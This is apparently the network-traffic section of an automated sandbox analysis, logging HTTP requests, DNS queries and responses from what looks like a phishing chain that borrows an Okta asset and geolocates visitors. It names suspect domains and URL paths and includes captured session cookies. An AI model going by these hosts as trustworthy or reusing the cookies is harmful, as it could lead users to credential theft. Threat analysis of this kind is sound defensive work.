XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /uvCrkdS4sVQLblK9iUyXZWTOZI5Dc45gWlMwUwXcVQ5HVhV0E2h4h3gJx71q60gh260 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /opkmv1QBWy5HuyxZJI5Cg5CDMC4Bj2jXZcl7dzghirqCw8Vp0H6SYkfkWBBVpcX2ef196 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /ghSXEQ1jgBW3V9P7wMkvy4klITPIyt6UpoJRIqdxbMFS12207 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /op75mQqx1n2Dk3yrHQCNx1pqg7GvFntHLN6ll12AfFPJ5mvcT8IqHATcRSjK27Gmk5jeRX4bkoQvcd237 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /uvCrkdS4sVQLblK9iUyXZWTOZI5Dc45gWlMwUwXcVQ5HVhV0E2h4h3gJx71q60gh260 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://rft.naturdon.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /527545368042699394148kDaAOIILBdLBNLIALVQSOCFKHCELKKWYWRIGSZEXNNrsz2CiQJLi34FjzXQJpuv40 HTTP/1.1Host: rodwiy1jurevg6zwutcukkmwcadr7cqmxxcychioypf3tx55yuqbvspm9h.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficDNS traffic detected: DNS query: u17065553.ct.sendgrid.net
              Source: global trafficDNS traffic detected: DNS query: cp.edison.tech
              Source: global trafficDNS traffic detected: DNS query: registrosaraquari.com.br
              Source: global trafficDNS traffic detected: DNS query: www.google.com
              Source: global trafficDNS traffic detected: DNS query: rft.naturdon.com
              Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: code.jquery.com
              Source: global trafficDNS traffic detected: DNS query: challenges.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: cdnjs.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: developers.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: 9d0wc.jnfemo.ru
              Source: global trafficDNS traffic detected: DNS query: github.com
              Source: global trafficDNS traffic detected: DNS query: ok4static.oktacdn.com
              Source: global trafficDNS traffic detected: DNS query: objects.githubusercontent.com
              Source: global trafficDNS traffic detected: DNS query: get.geojs.io
              Source: global trafficDNS traffic detected: DNS query: rodwiy1jurevg6zwutcukkmwcadr7cqmxxcychioypf3tx55yuqbvspm9h.amayaxw.es
              Source: unknownHTTP traffic detected: POST /report/v4?s=zlJWWlAJxfgQRzsXrhIAXMacsQvkqtF5Ns3DnawCh21t1wOmr2x%2FK0H82EMB2zKoBH51RZonfT%2BnEW9AdjiniB8qMGM6Kr0SpUiu6Q5LEQ42Qu%2F2EvoupvqkJHDC HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 464Content-Type: application/reports+jsonOrigin: https://rft.naturdon.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 17 Mar 2025 17:20:34 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 17:20:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iGz%2FrNS5CSyloj4xhivsRO0gJfBNOX3t7svLmTxR3xw7AhjGk3R1LuQN848U8pzpYv33xRzfgZ8FGqcYC1vHk8htFvsON60CsjbDuCJIsNX5SBLc8ftjieUExpRU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=28915&min_rtt=27010&rtt_var=11490&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2038&delivery_rate=105442&cwnd=124&unsent_bytes=0&cid=6e1de96fc04931e7&ts=195&x=0"Server: cloudflareCF-RAY: 921e29d9a9e642ec-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1665&rtt_var=645&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1703&delivery_rate=1669525&cwnd=226&unsent_bytes=0&cid=d5c183f910599267&ts=472&x=0"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 17:20:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YVetrVb0v%2FD%2FsAOcsB4fpNkSOmOrYDvaFq9oRp%2FL5y5kPxUHyxJd0ceV%2FrGd6viTPX8iVU4747Qwv0knHI0e5kKV6KAWOEEXquxTdXIBOPBwJxaOMI%2FMVZ6CN8ve"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=26601&min_rtt=26600&rtt_var=9978&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2229&delivery_rate=107019&cwnd=169&unsent_bytes=0&cid=4b03e0e5ceae204b&ts=349&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 921e29dff906377d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2096&min_rtt=2096&rtt_var=787&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1895&delivery_rate=1389814&cwnd=77&unsent_bytes=0&cid=8da71c27e3664308&ts=615&x=0"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 17:20:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y0GgWUiLpZ8WOsiq8xe6wU1bGYvjcgZaZLMnkMVZsEL8%2FdSCf%2BUinpXayoIAU922FFYAig8%2F5lbtniTUTXwAkYs01uc0VWuHKVqF7XrgGca%2F3i9OXqMHjzcDaaWj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=26614&min_rtt=26549&rtt_var=10002&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2047&delivery_rate=107273&cwnd=141&unsent_bytes=0&cid=6fddac2ff9f73102&ts=214&x=0"Server: cloudflareCF-RAY: 921e29e28804acc5-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2485&min_rtt=2480&rtt_var=941&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1713&delivery_rate=1156435&cwnd=104&unsent_bytes=0&cid=40f63b92286ad8c5&ts=440&x=0"
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 17:20:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hugvewsik64XU4T96wYF8C7rVlo3XiGpx2sxJxpRV82ubCwVABXypbd6DsMf90rWpeR4A0ugqWX6WFwJJ7sJXrOJ4mGeFrBKuUOFKQYvfdaEJonGhh%2BLHpWYBrBI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=24782&min_rtt=24722&rtt_var=9314&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2074&delivery_rate=115201&cwnd=32&unsent_bytes=0&cid=e5c72c4c81f7cdb4&ts=371&x=0"Server: cloudflareCF-RAY: 921e29fabd9b5e7d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1638&rtt_var=624&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1738&delivery_rate=1739130&cwnd=232&unsent_bytes=0&cid=46e204f5657c5dbc&ts=624&x=0"
              Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
              Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
              Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
              Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49699
              Source: unknownNetwork traffic detected: HTTP traffic on port 49784 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49700 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
              Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
              Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
              Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
              Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
              Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49673
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49791
              Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
              Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49701
              Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49789
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49700
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
              Source: unknownNetwork traffic detected: HTTP traffic on port 49699 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49787
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49786
              Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49784
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49783
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49782
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
              Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49810 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49810
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
              Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
              Source: unknownNetwork traffic detected: HTTP traffic on port 49679 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
              Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
